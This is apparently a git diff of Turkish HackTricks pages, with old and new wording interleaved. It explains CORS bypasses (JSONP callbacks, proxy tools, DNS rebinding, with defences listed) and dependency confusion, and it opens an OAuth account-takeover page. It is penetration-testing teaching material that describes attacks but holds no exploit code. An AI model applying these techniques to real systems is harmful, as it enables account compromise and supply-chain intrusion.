XSSI, ayrıca Cross-Site Script Inclusion olarak da bilinen, aynı köken politikasının (SOP) script etiketi kullanılarak kaynaklar dahil edildiğinde geçerli olmadığından faydalanabilen bir zafiyet türüdür. Bu, scriptlerin farklı alanlardan dahil edilebilmesi gerektiği için geçerlidir. Bu zafiyet, bir saldırganın script etiketi kullanılarak dahil edilen herhangi bir içeriğe erişmesine ve okumasına olanak tanır.
Bu zayıflık, özellikle dinamik JavaScript veya JSONP (JSON ile Dolgu) gibi ortam yetkisi bilgileri kullanıldığında önemli hale gelir, özellikle çerezlerin kimlik doğrulaması için kullanıldığı durumlarda. Farklı bir ana bilgisayardan bir kaynak istendiğinde çerezler dahil edilir ve saldırganın erişimine açık hale gelir.
Bu zafiyet, özellikle dinamik JavaScript veya JSONP (JSON with Padding) söz konusu olduğunda önemli hale gelir, özellikle çerezler gibi çevresel yetki bilgileri kimlik doğrulaması için kullanıldığında. Farklı bir ana bilgisayardan bir kaynak istendiğinde çerezler dahil edilir ve saldırganın erişimine açık hale gelir.
Bu zayıflığı daha iyi anlamak ve hafifletmek için, web uygulamalarınızda potansiyel XSSI zayıflıklarını belirlemeye ve ele almaya yardımcı olabilecek BurpSuite eklentisini kullanabilirsiniz. [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) adresinde bulunan bu eklenti, web uygulamalarınızdaki XSSI zayıflıklarını tanımlamanıza ve ele almanıza yardımcı olabilir.
Bu zafiyeti daha iyi anlamak ve hafifletmek için, web uygulamalarınızda potansiyel XSSI zafiyetlerini tanımlamak ve ele almak için kullanılabilen BurpSuite eklentisini kullanabilirsiniz. [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) adresinde bulunan bu eklenti, XSSI zafiyetlerini belirlemeye ve ele almaya yardımcı olabilir.
[**Farklı XSSI türleri ve bunları nasıl sömürüleceği hakkında daha fazla bilgi için buraya tıklayın.**](xssi-cross-site-script-inclusion.md)
İsteğe bir **`callback`** **parametresi** eklemeyi deneyin. Belki sayfa, verileri JSONP olarak göndermek üzere hazırlandı. Bu durumda sayfa, CORS politikasını atlayacak olan `Content-Type: application/javascript` ile verileri geri gönderecektir.
İsteğe bir **`callback`** **parametresi** eklemeyi deneyin. Belki sayfa verileri JSONP olarak göndermek üzere hazırlandı. Bu durumda sayfa, CORS politikasını atlayacak olan `Content-Type: application/javascript` ile verileri geri gönderecektir.
![](<../.gitbook/assets/image (853).png>)
### Kolay (faydasız?) atlatma
### Kolay (işe yaramaz mı?) atlatma
`Access-Control-Allow-Origin` kısıtlamasını atlatmanın bir yolu, bir web uygulamasından sizin adınıza bir istekte bulunmasını ve yanıtı geri göndermesini istemektir. Ancak, bu senaryoda, son kurbanın kimlik bilgileri farklı bir alan adına yapılan istek nedeniyle gönderilmez.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Bu araç, isteğinizi başlıklarıyla birlikte ileten bir proxy sağlar ve aynı zamanda Origin başlığını istenen alan adıyla eşleştirmek için sahte yapar. Bu, CORS politikasını etkili bir şekilde atlar. İşte XMLHttpRequest ile örnek bir kullanım:
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Bu araç, isteğinizi başlıklarıyla birlikte ileten bir proxy sağlar ve aynı zamanda Origin başlığını istenen alan adıyla eşleştirmek için sahte bir Origin başlığı oluşturur. Bu, CORS politikasını etkili bir şekilde atlar. İşte XMLHttpRequest ile kullanım örneği:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Bu araç, istekinizi olduğu gibi iletmek yerine sunucunun belirtilen parametrelerle kendi isteğini yapmasını sağlar.
### Iframe + Popup Atlatma
`e.origin === window.origin` gibi CORS denetimlerini atlatmak için bir iframe oluşturarak ve ondan yeni bir pencere açarak atlatma yapabilirsiniz. Daha fazla bilgi için aşağıdaki sayfaya bakın:
`e.origin === window.origin` gibi CORS denetimlerini atlatmak için bir **iframe oluşturarak** ve ondan yeni bir pencere açarak** kullanabilirsiniz. Daha fazla bilgi için aşağıdaki sayfaya bakın:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
@ -288,7 +292,7 @@ TTL aracılığıyla DNS rebinding, DNS kayıtlarını manipüle ederek belirli
1. Saldırgan bir web sayfası oluşturur ve kurbanın buna erişmesini sağlar.
2. Saldırgan daha sonra kendi alan adının DNS (IP) adresini kurbanın web sayfasına yönlendirir.
3. Kurbanın tarayıcısı DNS yanıtını önbelleğe alır ve bu yanıtın ne kadar süreyle geçerli olacağını belirten bir TTL (Yaşam Süresi) değeri olabilir.
3. Kurbanın tarayıcısı DNS yanıtını önbelleğe alır ve bu yanıtın ne kadar süreyle geçerli olacağını belirten bir TTL (Time to Live) değeri olabilir.
4. TTL süresi dolduğunda, kurbanın tarayıcısı yeni bir DNS isteği yapar, bu da saldırganın kurbanın sayfasında JavaScript kodunu yürütmesine olanak tanır.
5. Saldırgan, kurbanın IP'si üzerinde kontrolü sürdürerek, kurbandan herhangi bir çerezi kurban sunucusuna göndermeden bilgi toplayabilir.
@ -298,25 +302,25 @@ DNS rebinding, kurban tarafından gerçekleştirilen açık IP kontrollerini atl
Hızlı bir şekilde DNS rebinding'i kötüye kullanmanız gerekiyorsa, [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) gibi hizmetleri kullanabilirsiniz.
Kendi DNS rebinding sunucunuzu çalıştırmak için **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) gibi araçları kullanabilirsiniz. Bu, yerel port 53/udp'nizi açığa çıkararak, buna işaret eden bir A kaydı oluşturarak (örneğin, ns.example.com), ve önce oluşturulan A alt alanına işaret eden bir NS kaydı oluşturarak yapılır (örneğin, ns.example.com). ns.example.com alt alanının herhangi bir alt alanı daha sonra ana bilgisayarınız tarafından çözümlenir.
Kendi DNS rebinding sunucunuzu çalıştırmak için **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) gibi araçları kullanabilirsiniz. Bu, yerel port 53/udp'nizi açığa çıkararak, buna işaret eden bir A kaydı oluşturarak (örneğin, ns.example.com), ve daha önce oluşturulan A alt alan adına işaret eden bir NS kaydı oluşturarak (örneğin, ns.example.com) yapılır. ns.example.com alt alanının herhangi bir alt alanı daha sonra ana bilgisayarınız tarafından çözümlenir.
Daha fazla anlayış ve deneyim için [http://rebind.it/singularity.html](http://rebind.it/singularity.html) adresinde halka açık çalışan bir sunucuyu keşfedebilirsiniz.
### DNS Rebinding aracılığıyla **DNS Önbelleği Saldırısı**
### DNS Rebinding Aracılığıyla **DNS Önbelleği Saldırısı**
DNS rebinding aracılığıyla DNS önbelleği saldırısı, tarayıcıların önbellekleme mekanizmasını atlatmak ve ikinci bir DNS isteği yapmaya zorlamak için kullanılan başka bir tekniktir. Nasıl çalıştığını aşağıda bulabilirsiniz:
1. İlk olarak, kurban bir DNS isteği yapar yapmaz, saldırganın IP adresiyle yanıtlanır.
2. Önbellek savunmasını atlatmak için saldırgan bir hizmet işçisi kullanır. Hizmet işçisi, DNS önbelleğini doldurur ve bu şekilde önbelleğe alınan saldırgan sunucu adını siler.
3. Kurbanın tarayıcısı ikinci bir DNS isteği yapar yapmaz, artık genellikle localhost'a atıfta bulunan IP adresi 127.0.0.1 ile yanıtlanır.
2. Önbellek savunmasını atlatmak için saldırgan bir hizmet işçisi kullanır. Hizmet işçisi, DNS önbelleğini doldurur ve önbelleğe alınan saldırgan sunucu adını siler.
3. Kurbanın tarayıcısı ikinci bir DNS isteği yapar yapmaz, artık genellikle yerel ana bilgisayarı işaret eden IP adresi 127.0.0.1 ile yanıtlanır.
Hizmet işçisi aracılığıyla DNS önbelleğini doldurarak, saldırgan DNS çözümleme sürecini manipüle edebilir ve kurbanın tarayıcısını ikinci bir istek yapmaya zorlayabilir, bu sefer istenen saldırganın IP adresine çözünür.
Hizmet işçisi ile DNS önbelleğini doldurarak, saldırgan DNS çözümleme sürecini manipüle edebilir ve kurbanın tarayıcısını ikinci bir istek yapmaya zorlayabilir, bu sefer istenen saldırganın IP adresine çözünür.
### DNS Rebinding aracılığıyla **Önbellek**
### DNS Rebinding Aracılığıyla **Önbellek**
Önbellekleme savunmasını atlatmanın başka bir yolu, DNS sağlayıcısında aynı alt alan için birden fazla IP adresini kullanmaktır. Nasıl çalıştığını aşağıda bulabilirsiniz:
Önbellek savunmasını atlatmanın başka bir yolu, DNS sağlayıcısında aynı alt alan adı için birden fazla IP adresini kullanmaktır. Nasıl çalıştığını aşağıda bulabilirsiniz:
1. Saldırgan, aynı alt alan için iki A kaydı (veya iki IP'li tek bir A kaydı) ayarlar.
1. Saldırgan, aynı alt alan adı için DNS sağlayıcısında iki A kaydı (veya iki IP'li tek bir A kaydı) oluşturur.
2. Tarayıcı bu kayıtları kontrol ettiğinde, her iki IP adresini de alır.
3. Tarayıcı saldırganın IP adresini ilk olarak kullanmaya karar verirse, saldırgan, aynı alan adına HTTP istekleri gerçekleştiren bir yük gönderebilir.
4. Ancak saldırgan, kurbanın IP adresini elde ettikten sonra, kurbanın tarayıcısına yanıt vermekten vazgeçer.
@ -336,25 +340,25 @@ Daha fazla bilgi için [https://unit42.paloaltonetworks.com/dns-rebinding/](http
### Diğer Yaygın Atlatmalar
* **Dahili IP'ler izin verilmiyorsa**, **0.0.0.0 yasağı unutulmuş olabilir** (Linux ve Mac'te çalışır)
* **Dahili IP'ler izin verilmiyorsa**, **localhost'a bir CNAME ile yanıt verin** (Linux ve Mac'te çalışır)
* **Dahili IP'ler izin verilmiyorsa** DNS yanıtlarında, www.corporate.internal gibi **dahili hizmetlere CNAME'ler yanıtlayabilirsiniz**.
* **Dahili IP'ler izin verilmiyorsa**, **localhost için bir CNAME** ile yanıt ver (Linux ve Mac'te çalışır)
* **Dahili IP'ler izin verilmiyorsa** DNS yanıtlarında, www.corporate.internal gibi **dahili hizmetler için CNAME'ler** yanıtlayabilirsiniz.
### DNS Yeniden Hedefleme Silahlandırılmış
Önceki atlatma teknikleri hakkında daha fazla bilgiyi ve aşağıdaki aracı nasıl kullanacağınızı [Gerald Doussot - DNS Rebinding Saldırılarının Durumu ve Kökenin Tekliği - DEF CON 27 Konferansı](https://www.youtube.com/watch?v=y9-0lICNjOQ) adlı sunumda bulabilirsiniz.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity), [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) saldırıları gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden hedeflemek ve hedef makinedeki savunmasız yazılımları sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity), [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) saldırıları gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden hedeflemek ve hedef makinedeki güvenlik açıklarını sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.
### DNS Yeniden Hedefleme Karşı Gerçek Koruma
* Dahili hizmetlerde TLS kullanın
* Verilere erişim için kimlik doğrulama isteyin
* Verilere erişim için kimlik doğrulaması isteyin
* Host başlığını doğrulayın
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Genel sunucuların dahili sunuculara erişmek istediğinde her zaman bir önceden uçuş isteği gönderilmesini öneren bir teklif
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Genel sunucuların dahili sunuculara erişmek istediğinde her zaman bir ön uçuş isteği gönderilmesini öneren bir teklif
## **Araçlar**
**CORS politikalarındaki olası yapılandırma hatalarını taramak için Fuzz**
**CORS politikalarındaki olası yapılandırma hatalarını tarama**
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
@ -374,3 +378,22 @@ Daha fazla bilgi için [https://unit42.paloaltonetworks.com/dns-rebinding/](http
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerimiz olan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) takip edin.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details>

View file

@ -2,63 +2,72 @@
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* Özel [**NFT'lerimizden oluşan PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklam görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşarak** [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) **PR gönderin**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Temel Bilgiler
Özet olarak, bir bağımlılık karışıklığı zafiyeti, bir projenin **yanlış yazılmış**, **var olmayan** veya **belirtilmemiş bir sürümle** bir kütüphaneyi kullandığı durumlarda ve kullanılan bağımlılık deposu, **güncellenmiş sürümleri halka açık** depolardan toplamaya izin veriyorsa ortaya çıkar.
Özetle, bir bağımlılık karışıklığı zafiyeti, bir proje **yanlış yazılmış** bir kütüphaneyi kullandığında, **mevcut olmayan** veya **belirtilmemiş bir sürümle** ve kullanılan bağımlılık deposunun **güncellenmiş sürümleri toplamaya izin verdiğinde** meydana gelir.
* **Yanlış yazılmış**: `requests` yerine **`reqests`** içe aktar
* **Var olmayan**: Artık **var olmayan** bir dahili kütüphane olan `company-logging`i içe aktar
* **Belirtilmemiş sürüm**: Bu örnekte olduğu gibi **dahili** **var olan** `company-requests` kütüphanesini içe aktar, ancak depo **halka açık depoları** kontrol ederek **daha büyük sürümler** olup olmadığına bakar.
* **Mevcut olmayan**: Artık **mevcut olmayan** iç bir kütüphane olan `company-logging`i içe aktar
* **Belirtilmemiş sürüm**: **Mevcut** **iç** `company-requests` kütüphanesini içe aktar, ancak depo **genel depoları** kontrol ederek **daha büyük sürümlerin** olup olmadığını kontrol eder.
## Sömürü
{% hint style="warning" %}
Tüm durumlarda saldırganın sadece kurban şirketin kullandığı kütüphanelerin **adını taşıyan kötü amaçlı bir paket yayınlaması** yeterlidir.
Tüm durumlarda saldırganın sadece kurban şirketin kullandığı kütüphanelerin **adını taşıyan zararlı bir paket yayınlaması** yeterlidir.
{% endhint %}
### Yanlış Yazılmış ve Var Olmayan
### Yanlış Yazılmış & Mevcut Olmayan
Şirketinizin **dahili olmayan bir kütüphaneyi içe aktarmaya çalıştığı** durumlarda, büyük olasılıkla kütüphane deposu bunu **halka açık depolarda** arayacaktır. Eğer bir saldırgan bunu oluşturmuşsa, kodunuz ve çalışan makineleriniz büyük olasılıkla tehlikeye girecektir.
Şirketinizin **iç olmayan bir kütüphaneyi içe aktarmaya çalıştığında**, kütüphanelerin deposunun bunu **genel depolarda arayacağı** oldukça olasıdır. Eğer bir saldırgan bunu oluşturduysa, kodunuz ve çalışan makineleriniz büyük olasılıkla tehlikeye girecektir.
### Belirtilmemiş Sürüm
Geliştiricilerin genellikle kullanılan kütüphanenin **herhangi bir sürümünü belirtmemesi** veya sadece bir **ana sürümü belirtmesi** çok yaygındır. Ardından, yorumlayıcı bu gereksinimleri karşılayan **en son sürümü indirmeye çalışacaktır**.\
Eğer kütüphane, python `requests` gibi **bilinen bir harici kütüphaneyse**, bir saldırgan çok fazla bir şey yapamaz, çünkü `requests` adında bir kütüphane oluşturamaz (orijinal yazar değilse).\
Ancak, bu örnekte olduğu gibi kütüphane **dahili** ise, `requests-company` gibi, eğer **kütüphane deposu** yeni sürümleri **harici olarak kontrol etmeye izin veriyorsa**, daha yeni bir sürümü halka açık olarak arayacaktır.\
Bu nedenle, bir saldırgan şirketin `requests-company` kütüphanesini **1.0.1 sürümünü** (küçük güncellemelere izin ver) kullandığını **biliyorsa**, `requests-company` kütüphanesini **1.0.2 sürümünü yayınlayabilir** ve şirket **dahili olan yerine bu kütüphaneyi kullanacaktır**.
Geliştiricilerin kütüphanenin sürümünü **belirtmemesi** veya sadece bir **ana sürümü belirtmesi** çok yaygındır. Ardından, yorumlayıcı bu gereksinimleri karşılayan **en son sürümü indirmeye çalışacaktır**.\
Eğer kütüphane **bilinen harici bir kütüphane** ise (örneğin python `requests`), bir **saldırgan pek bir şey yapamaz**, çünkü `requests` adında bir kütüphane oluşturamaz (orijinal yazar değilse).\
Ancak, kütüphane **iç** ise, bu örnekte olduğu gibi `requests-company`, eğer **kütüphane deposu** dışarıdan **yeni sürümleri de kontrol etmeye izin veriyorsa**, genelde bulunan yeni bir sürüm arayacaktır.\
Bu nedenle, bir **saldırganın** şirketin `requests-company` kütüphanesini **1.0.1 sürümü** olarak kullandığını **bildiğini varsayalım** (küçük güncellemelere izin verir). O, `requests-company` kütüphanesini **1.0.2 sürümünü yayınlayabilir** ve şirket **iç kütüphanenin yerine bu kütüphaneyi kullanacaktır**.
## AWS Düzeltmesi
## AWS Düzeltme
Bu zafiyet AWS **CodeArtifact**'da bulundu (bu blog yazısındaki [**detayları okuyun**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
AWS, dahili bağımlılıkların harici depolardan indirilmesini önlemek için bir kütüphanenin dahili veya harici olup olmadığını belirtmeye izin vererek bunu düzeltti.
Bu zafiyet, AWS **CodeArtifact**'da bulundu (detayları [**bu blog yazısında**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d) okuyun).\
AWS, iç bağımlılıkların dış depolardan indirilmesini önlemek için bir kütüphanenin içsel veya harici olup olmadığını belirtmeye izin vererek bunu düzeltti.
## Zafiyetli Kütüphaneleri Bulma
## Zafiyetli Kütüphanelerin Bulunması
[**Bağımlılık karışıklığı hakkındaki orijinal yazıda**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) yazar, binlerce açığa çıkarılmış package.json dosyasını arayarak JavaScript projelerinin bağımlılıklarını buldu.
[**Bağımlılık karışıklığı hakkındaki orijinal yazıda**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) yazar, binlerce açıkta kalan package.json dosyasını arayarak javascript projelerinin bağımlılıklarını aradı.
## Referanslar
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* Özel [**NFT'lerimizden oluşan PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklam görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşarak** [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) **PR gönderin**.
</details>

View file

@ -1,48 +1,52 @@
# OAuth Hesabı Ele Geçirmek İçin
# OAuth ile Hesap Ele Geçirme
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizin **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubumuza](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Temel Bilgiler <a href="#d4a8" id="d4a8"></a>
OAuth, [OAuth 2.0 belgelerinde](https://oauth.net/2/) erişilebilir olan çeşitli sürümler sunar. Bu tartışma, temel olarak bir uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişim veya işlem yapmasını sağlayan bir **yetkilendirme çerçevesi olan OAuth 2.0 yetkilendirme kodu grant türüne** odaklanır.
OAuth, [OAuth 2.0 belgelerinde](https://oauth.net/2/) erişilebilen çeşitli sürümler sunar. Bu tartışma genellikle yaygın olarak kullanılan [OAuth 2.0 yetkilendirme kodu tahsis türü](https://oauth.net/2/grant-types/authorization-code/) üzerinde odaklanır, bir **uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişmesine veya işlem yapmasına olanak tanıyan bir yetkilendirme çerçevesi sağlar** (yetkilendirme sunucusu).
Bir örnek web sitesi olan _**https://example.com**_, özel olanlar dahil olmak üzere **tüm sosyal medya gönderilerinizi sergilemek** için OAuth 2.0 kullanır. Bunun için _https://example.com_, **sosyal medya gönderilerinize erişim izni** isteyecektir. Sonuç olarak, _https://socialmedia.com_ üzerinde bir onay ekranı görünecek ve **istenen izinler ve istekte bulunan geliştirici** belirtilecektir. Sizin onayınızla, _https://example.com_, sizin adınıza **gönderilerinize erişme yeteneği kazanır**.
Hayali bir web sitesini düşünün _**https://ornek.com**_, tüm sosyal medya gönderilerinizi, özel olanlar da dahil olmak üzere **sergilemek için tasarlanmıştır**. Bunu başarmak için OAuth 2.0 kullanılır. _https://ornek.com_, **sosyal medya gönderilerinize erişim izni** isteyecektir. Sonuç olarak, _https://sosyalmedya.com_ üzerinde bir onay ekranı belirecek ve **istenen izinler ile istekte bulunan geliştirici** belirtilecektir. Onayınızın ardından, _https://ornek.com_, **gönderilerinize sizin adınıza erişme yeteneği kazanır**.
OAuth 2.0 çerçevesi içinde aşağıdaki bileşenleri anlamak önemlidir:
OAuth 2.0 çerçevesi içinde aşağıdaki bileşenleri anlamanız önemlidir:
- **kaynak sahibi**: Siz, **kullanıcı/öğe** olarak, sosyal medya hesabınız gibi kaynağınıza erişime izin verirsiniz.
- **kaynak sunucusu**: Uygulama, `erişim belirteci`ni `kaynak sahibi` adına güvence altına aldıktan sonra yetkilendirilmiş istekleri yöneten **kimlik doğrulaması yapılan sunucu**, örneğin **https://socialmedia.com**.
- **istemci uygulaması**: `kaynak sahibi`nden yetkilendirme isteyen **uygulama**, örneğin **https://example.com**.
